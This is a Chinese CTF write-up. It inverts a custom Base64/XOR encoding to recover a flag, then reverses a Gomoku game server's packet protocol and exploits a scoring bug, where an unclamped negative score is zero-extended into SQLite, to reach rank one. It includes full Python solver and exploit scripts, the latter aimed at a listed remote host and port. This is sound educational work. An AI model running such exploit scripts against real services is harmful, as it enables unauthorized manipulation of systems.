^ 0x63
这一层几乎没有额外难度,主要就是把第一层得到的 56 字节再异或一次。
0x07 第三段函数 sub_0471:比较函数
第三个函数的作用是把第二段的结果和目标数据比较。
调用方式:
push32 0x1064 ; 用户输入经过两轮编码后的结果
push32 0x109d ; 题目内置目标值
push32 0x0038 ; len = 56
call 0x0471函数内循环逻辑:
for (i = 0; i < len; i++) {
if (buf1[i] != buf2[i]) {
return 0;
}
}
return 1;所以解题的关键,就变成了:
把 0x109d 的目标数据逆回原始输入。
0x08 提取目标数据
从 code.bin 中取出 0x109d 开始的 56 字节:
target = code[0x109d:0x109d+56]
先逆第二层,因为第二层只是异或:
target2 = bytes([b ^ 0x63 for b in target])
得到:
D9hkiYjnSR/TaYqm7I/SOQrDeR5TqE/TKQ8T6c+yabrDuc/TGdrWbU8D
这已经明显是“经过自定义 Base64 表编码后的 56 字节串”。
0x09 逆第一层变换
第一层流程是:
原始 3 字节
-> 组合成 24 位整数
-> rol24(5) ^ 0x55757d
-> rol24(11) ^ 0x55757d
-> rol24(20) ^ 0x55757d
-> 映射成 4 个 Base64 字符因此逆过程就是:
- 先把 4 个字符还原成 24 位整数;
- 逆第三轮:
^ 0x55757d再ror24(20); - 逆第二轮:
^ 0x55757d再ror24(11); - 逆第一轮:
^ 0x55757d再ror24(5); - 拆回 3 个字节。
整理后的逆过程:
x = decode_4chars_to_24bit(...);
x ^= 0x55757d;
x = ror24(x, 20);
x ^= 0x55757d;
x = ror24(x, 11);
x ^= 0x55757d;
x = ror24(x, 5);
b0 = (x >> 16) & 0xff;
b1 = (x >> 8) & 0xff;
b2 = x & 0xff;0x10 最终还原脚本
下面给出完整可复现的求解脚本:
from pathlib import Path
code = Path("code.bin").read_bytes()
alphabet = code[0x10E3:0x10E3 + 64]
target = code[0x109D:0x109D + 56]
inv = {c: i for i, c in enumerate(alphabet)}
MASK = (1 << 24) - 1
def ror24(x, n):
return ((x >> n) | (x << (24 - n))) & MASK
# 先逆第二层 xor 0x63
enc = bytes([b ^ 0x63 for b in target])
flag = bytearray()
for i in range(0, len(enc), 4):
c0, c1, c2, c3 = enc[i:i+4]
# 4 字符 -> 24 bit
x = (inv[c0] << 18) | (inv[c1] << 12) | (inv[c2] << 6) | inv[c3]
# 逆第三轮
x ^= 0x55757d
x = ror24(x, 20)
# 逆第二轮
x ^= 0x55757d
x = ror24(x, 11)
# 逆第一轮
x ^= 0x55757d
x = ror24(x, 5)
flag.extend([(x >> 16) & 0xFF, (x >> 8) & 0xFF, x & 0xFF])
print(flag.decode())运行结果:
NCTF{1578be15-ad09-4859-9193-5d52585eb485}
鸡爪流高手
题目名:鸡爪流高手
给的只有一个 ELF:server
程序是 64 位 Linux PIE,未 strip,符号信息保留得很完整。题目不是传统内存破坏型 pwn,而是一个自定义二进制协议 + 五子棋对战 + SQLite 积分系统的业务逻辑题。真正的利用点不在栈/堆,而在积分结算和入库时的整数处理错误。
这题的 Flag 获取条件非常直白:
- 只要当前
player排名第一,执行取 flag 的命令就会返回环境变量GZCTF_FLAG。
所以题目的本质就是:把自己的分数做成全服第一。
0x01 程序入口与整体逻辑
main 的逻辑并不复杂:
- 打开
game.db - 初始化数据库表
- 确保存在用户
player - 循环从标准输入读取自定义协议包
- 调用
handler_handle_packet()处理命令 - 把响应按同样协议写回标准输出
关键点有两个:
- 玩家名字是写死的
player,不是用户自己输入的。 - 服务是个包协议,不是菜单题。
主逻辑可以还原成这样:
int main() {
ctx.name = "player";
game_reset(&ctx.game);
db_open(&ctx.db, "game.db");
db_ensure_schema(ctx.db);
db_ensure_player(ctx.db, "player", 50);
while (protocol_read_packet(stdin, &pkt)) {
handler_handle_packet(&ctx, &pkt, outbuf, 0x1000);
protocol_write_response(stdout, pkt.cmd, outbuf);
}
}也就是说,题目里所有“交互”都要通过协议发包完成。
0x02 协议逆向
1. 读包函数 protocol_read_packet
协议头固定为:
"GAME" + be32(total_len) + u8(cmd) + payload
其中:
- magic:4 字节,固定为
GAME total_len:大端 4 字节,总长度,包含整个 9 字节头cmd:1 字节命令号payload:后续数据
长度检查逻辑:
payload_len = bswap32(len) - 9;
if (payload_len > 0x400) return -1;所以每个包最大负载是 0x400。
2. 写包函数 protocol_write_response
返回包同样格式:
"GAME" + be32(9 + strlen(resp)) + u8(cmd) + resp_string
注意这里返回时的 cmd 直接沿用了请求包里的命令号,并不是状态码。
0x03 命令分发表
handler_handle_packet() 用 jump table 分发命令,合法命令号是 1~8,0 和 >8 都会进 Unknown command。
结合各分支逻辑,可以整理出命令表:
cmd | 功能 |
| 取 Flag |
| 查看自己当前分数 / 排名 |
| 查看排行榜概览 |
| 重置挑战环境 |
| 开始匹配一局 |
| 查看棋盘 |
| 落子 |
| 认输 / 空棋盘取消匹配 |
1. cmd=1:取 flag
对应分支会:
- 查当前排行榜第一名
- 比较第一名名字是否等于当前玩家
player - 若相等则返回
GZCTF_FLAG - 否则返回
Permission denied
核心逻辑:
if (db_get_top_player(db, &top) && strcmp(top.name, "player") == 0) {
char *flag = getenv("GZCTF_FLAG");
return flag ? flag : "Fail to get flag from environment variable";
}
return "Permission denied";这一步已经把题目目标说透了:
只要把 player 做成第一名,就能直接拿 flag。
2. cmd=2:查看自己信息
返回格式:
OK Score=%u Rank=%d
3. cmd=3:排行榜概览
返回格式:
Score=%u Rank=%d Total=%d Top=%u Nearby: ...
4. cmd=4:重置挑战环境
这个命令非常关键,它会把其他若干对手的分数重置成固定值,后面利用会用到。
5. cmd=5:开始匹配
匹配到一个 AI 对手,返回:
Matched %s Score=%u You=Black
说明我们永远执黑先手。
6. cmd=6:查看棋盘
返回:
Board=000.../000.../...
棋盘按 / 分割 15 行,每格用数字表示:
0:空1:玩家黑子2:AI 白子
7. cmd=7:落子
payload 是字符串:
x,y
解析格式就是:
sscanf(buf, "%d,%d", &x, &y)
坐标支持两种写法:
0~141~15(内部会减一)
返回可能是:
Continue AI=x,y Board=...Win Delta=...Lose Delta=...Draw Delta=...Invalid Move
8. cmd=8:认输 / 取消当前对局
如果棋盘还是空的,则按和棋取消:
Draw Delta=0 Score=... Rank=... OppDelta=0 OppScore=...
如果棋盘非空,则按认输处理:
Resign Delta=... Score=... Rank=... OppDelta=... OppScore=...
这条命令在利用里也非常关键:
- 匹配到不想打的对手,可以空棋盘直接取消,完全不掉分。
- 匹配到想要的对手后,只需下 1 手再
cmd=8,就能稳定判负。
0x04 数据库逻辑
题目里把 SQLite 直接静态编进二进制了,相关 SQL 字符串都能直接从 .rodata 里抠出来。
1. 建表语句
CREATE TABLE IF NOT EXISTS players (
id INTEGER PRIMARY KEY AUTOINCREMENT,
name TEXT NOT NULL UNIQUE,
score INTEGER NOT NULL
);2. 确保玩家存在
INSERT OR IGNORE INTO players (name, score) VALUES (?, ?);
main 里固定插入:
name = "player"
score = 50所以我们开局就是 50 分。
3. 获取排行榜第一
SELECT id, name, score
FROM players
ORDER BY score DESC, id ASC
LIMIT 1;说明排名主要按 score 降序。
4. 获取自己排名
SELECT id, name, score,
(SELECT COUNT(*) FROM players p2 WHERE p2.score > p1.score) + 1
FROM players p1
WHERE name = ?;这里排名按“严格大于我的人数 + 1”计算。
0x05 重置命令的作用
cmd=4 对应 db_reset_challenge_state()。
它会把其他玩家里按 id ASC 排前 7 的记录,分数改成固定值。
SQL 如下:
SELECT id FROM players WHERE name != ? ORDER BY id ASC LIMIT 7;
UPDATE players SET score = ? WHERE id = ?;固定分数数组在 .rodata 里直接能看到:
fixed_scores = [50, 40, 30, 20, 20, 10, 2000000]
所以 reset 完后,对手池会被洗成:
50, 40, 30, 20, 20, 10, 2000000
这也是后面利用时所有分数计算的出发点。
0x06 五子棋逻辑和 AI
1. 棋盘大小
从 game_apply_player_move() / game_apply_ai_move() 可知:
- 棋盘是
15 x 15 - 下标范围
0~14
2. 胜负判断
game_has_winner() 检查横、竖、正斜、反斜四个方向,连续 5 个相同棋子即胜。
3. AI 逻辑
AI 在 ai_choose_move() 里,大致逻辑是:
- 先找自己一步能赢的位置
- 再找玩家一步能赢的位置并阻挡
- 再做一些简单模式扫描
- 再不行就走很机械的 fallback
这个 AI 实际并不强,尤其在“非立即杀”的处理中很弱。
4. 一套稳定必赢的开局
本地复现发现,用下面这组坐标可以稳定赢下 10 分 bot:
5,3
5,4
5,5
5,6
5,7思路很简单:
- 我们在
x=5这一列连续摆子 - 第 4 手后会形成一个两头都能冲五的 open four
- AI 只能补住其中一头
- 第 5 手补另一头直接获胜
本地实际交互如下:
5,3 -> Continue AI=7,7 ...
5,4 -> Continue AI=4,2 ...
5,5 -> Continue AI=3,1 ...
5,6 -> Continue AI=5,2 ...
5,7 -> Win Delta=3 Score=53 Rank=2 OppDelta=-3 OppScore=7也就是说:
- 打赢 10 分 bot 后
- 我们从
50 -> 53 - 对手从
10 -> 7
这一步非常关键,因为后面需要一个7 分 bot来完成最后的下溢。
0x07 积分公式
题目不是随便加减分,而是一个 ELO 风格公式。
核心函数是:
int score_calculate_delta(int self, int opp, double actual) {
double expected = 1.0 / (1.0 + pow(10.0, (opp - self) / 50.0));
return lround(20.0 * (actual - expected));
}其中:
actual = 1.0表示赢actual = 0.5表示平actual = 0.0表示输
参数:
- K 值是
20 - 分差缩放是
50
正常情况下分数更新函数是:
new_score = max(old_score + delta, 0)
但玩家自己用的不是这个版本,而是一个buggy 版本。
0x08 真正的漏洞:负分 + 32 位零扩展
1. 玩家结算走的是 score_apply_buggy_update
settle_game() 里:
- 玩家分数更新调用
score_apply_buggy_update - 对手分数更新调用
score_apply_update
差异点就在这里。
2. buggy 版本的伪代码
把 score_apply_buggy_update() 还原后,大概是:
int score_apply_buggy_update(int old_score, int opp_score, double actual, int *delta_out) {
int delta = score_calculate_delta(old_score, opp_score, actual);
if (delta_out) *delta_out = delta;
// 特判:如果老分 <= 9 且 delta < 0,就不扣分
if (old_score <= 9 && delta < 0) {
return old_score;
}
// !!! 没有做 >= 0 的截断
return old_score + delta;
}正常版本会 max(new_score, 0),而这个版本没有。
所以只要满足:
old_score > 9delta < 0old_score + delta < 0
就会返回一个负数分数。
3. 入库时又踩了第二个坑
db_update_player_score() 里调用的是:
sqlite3_bind_int64(stmt, 1, score);
但是调用前参数是通过 edx 传进去的,也就是 32 位寄存器赋值:
mov edx, eax
call sqlite3_bind_int64在 x86-64 SysV 下:
- 给
edx赋值会把rdx的高 32 位清零 - 如果
eax里是负数,比如-1 = 0xffffffff - 那么传进
sqlite3_bind_int64()的其实是:
0x00000000ffffffff = 4294967295
也就是:
负数没有按有符号扩展成 int64,而是被零扩展成了一个超大的正数。
这就是整题的核心漏洞。
0x09 如何把分数做成负数
1. reset 后的初始状态
重置后对手分数池:
50, 40, 30, 20, 20, 10, 2000000
我们自己:
player = 50
2. 先赢一次 10 分 bot
利用上面的稳赢开局:
5,3 5,4 5,5 5,6 5,7
结果:
player: 50 -> 53
bot10: 10 -> 7此时对手池里就出现了一个 7 分 bot。
3. 然后按指定分数连续输
这里的输法非常简单:
- 匹配到目标分数的 bot
- 随便下一手,例如
0,0 - 然后发
cmd=8 - 因为棋盘非空,会按认输处理
结合实际积分公式,可以构造出下面这条路径:
步骤 | 对手分数 | 结果 | 我方分数变化 |
1 | 10 | 赢 |
|
2 | 20 | 输 |
|
3 | 20 | 输 |
|
4 | 30 | 输 |
|
5 | 38 | 输 |
|
6 | 7 | 输 |
|
最后一步最关键:
10 分输给 7 分 bot,delta = -11
10 + (-11) = -1因为 old_score = 10 > 9,不会走“<=9 不扣分”的保护逻辑,所以真的返回 -1。
而 -1 入库时被零扩展,最终数据库里存进去的是:
4294967295
这时我们就直接成排行榜第一了。
0x10 为什么一定要先做出 7 分 bot
如果只靠 reset 后的最低分 10 分 bot,最后一步其实不够下溢。
因为题目 K 值是 20,不是 32,输给 10 分 bot 时扣分没有那么夸张。
真正能稳定把 10 打成负数的是输给一个更低分的 bot,比如 7 分。
而这个 7 正好可以通过第一步打赢 10 分 bot 得到:
10 -> 7
所以整条利用链是闭环的:
- reset 固定对手分数
- 利用 AI 弱点先把
10打成7 - 再按分数路径把自己降到
10 - 最后一把输给
7,下溢成-1 - 入库时变成
4294967295 cmd=1直接取 flag
0x11 利用时如何“挑对手”
cmd=5 不是指定匹配,而是:
SELECT id, name, score
FROM players
WHERE name != ? AND score <= 50
ORDER BY RANDOM()
LIMIT 1;也就是说,只会随机匹配 score <= 50 的 bot。
所以 exp 的做法是:
cmd=5开始匹配- 如果返回的不是目标分数
- 立即
cmd=8 - 因为空棋盘,会按和棋取消,不掉分
- 继续
cmd=5直到刷到目标分数
这样就可以把整条路径稳定跑出来。
0x12 完整利用流程
完整流程如下:
Step 1. 重置环境
发 cmd=4
得到固定对手分数:
50, 40, 30, 20, 20, 10, 2000000
Step 2. 匹配到 10 分 bot 并赢一局
若匹配错,就空棋盘 cmd=8 取消。
匹配到 10 分后,下:
5,3
5,4
5,5
5,6
5,7打完后:
player = 53
bot = 7Step 3. 连续输给目标分数 bot
依次刷对手并执行:
- 输给
20 - 再输给
20 - 输给
30 - 输给
38 - 最后输给
7
每次输法都一样:
cmd=7 payload="0,0"
cmd=8 认输Step 4. 分数下溢后查询 flag
此时:
player = 4294967295
rank = 1发送:
cmd=1
即可拿到 flag。
0x13 本地复现结果
我本地构造同样的 game.db 后,完整跑通结果如下:
[*] reset Reset Score=50 Rank=2
[*] me OK Score=50 Rank=2
[+] matched target score 10
...
move 5,7 -> Win Delta=3 Score=53 Rank=2 OppDelta=-3 OppScore=7
...
resign -> Resign Delta=-11 Score=4294967295 Rank=1 OppDelta=11 OppScore=18
[*] me OK Score=4294967295 Rank=1
[*] flag flag{test_flag}说明利用链完全闭合,逻辑正确。
0x14 EXP
下面给出可以直接打远程的脚本。
我本地按附件完整复现通过;你给的远程地址我测试时一度是 Connection refused,所以脚本逻辑已经验证,但最终线上 flag 需要服务在线时运行。
import re
import socket
import struct
HOST = "114.66.24.221"
PORT = 48499
def recv_exact(sock, n):
data = b""
while len(data) < n:
chunk = sock.recv(n - len(data))
if not chunk:
raise ConnectionError("socket closed")
data += chunk
return data
def send_pkt(sock, cmd, payload=b""):
pkt = b"GAME" + struct.pack(">I", 9 + len(payload)) + bytes([cmd]) + payload
sock.sendall(pkt)
hdr = recv_exact(sock, 9)
if hdr[:4] != b"GAME":
raise ValueError(f"bad magic: {hdr!r}")
total_len = struct.unpack(">I", hdr[4:8])[0]
rcmd = hdr[8]
body = recv_exact(sock, total_len - 9).decode()
return rcmd, body
def cmd(sock, c, payload=b""):
_, body = send_pkt(sock, c, payload)
return body
def start_until_score(sock, target_score):
while True:
body = cmd(sock, 5)
m = re.search(r"Matched\s+(.+)\s+Score=(\d+)\s+You=Black", body)
if not m:
raise RuntimeError(f"unexpected match response: {body}")
opp_name = m.group(1)
opp_score = int(m.group(2))
print(f"[match] {opp_name} score={opp_score}")
if opp_score == target_score:
return opp_name
# 空棋盘取消,不掉分
print("[skip] cancel current empty game")
print(cmd(sock, 8))
def win_vs_10(sock):
start_until_score(sock, 10)
for mv in [b"5,3", b"5,4", b"5,5", b"5,6", b"5,7"]:
body = cmd(sock, 7, mv)
print(f"[move] {mv.decode()} -> {body}")
if not body.startswith("Continue"):
break
def lose_once(sock, target_score):
start_until_score(sock, target_score)
print(cmd(sock, 7, b"0,0"))
print(cmd(sock, 8))
def main():
with socket.create_connection((HOST, PORT)) as sock:
print(cmd(sock, 4)) # reset
print(cmd(sock, 2)) # my score/rank
# Step 1: 打赢 10 分 bot,做出 7 分 bot
win_vs_10(sock)
print(cmd(sock, 2))
# Step 2: 按指定路径掉分,最后制造下溢
lose_once(sock, 20)
print(cmd(sock, 2))
lose_once(sock, 20)
print(cmd(sock, 2))
lose_once(sock, 30)
print(cmd(sock, 2))
lose_once(sock, 38)
print(cmd(sock, 2))
lose_once(sock, 7)
print(cmd(sock, 2))
# Step 3: 现在已经 rank 1,直接取 flag
print(cmd(sock, 3))
print(cmd(sock, 1))
if __name__ == "__main__":
main()结语
末尾有附件 需要的师傅自取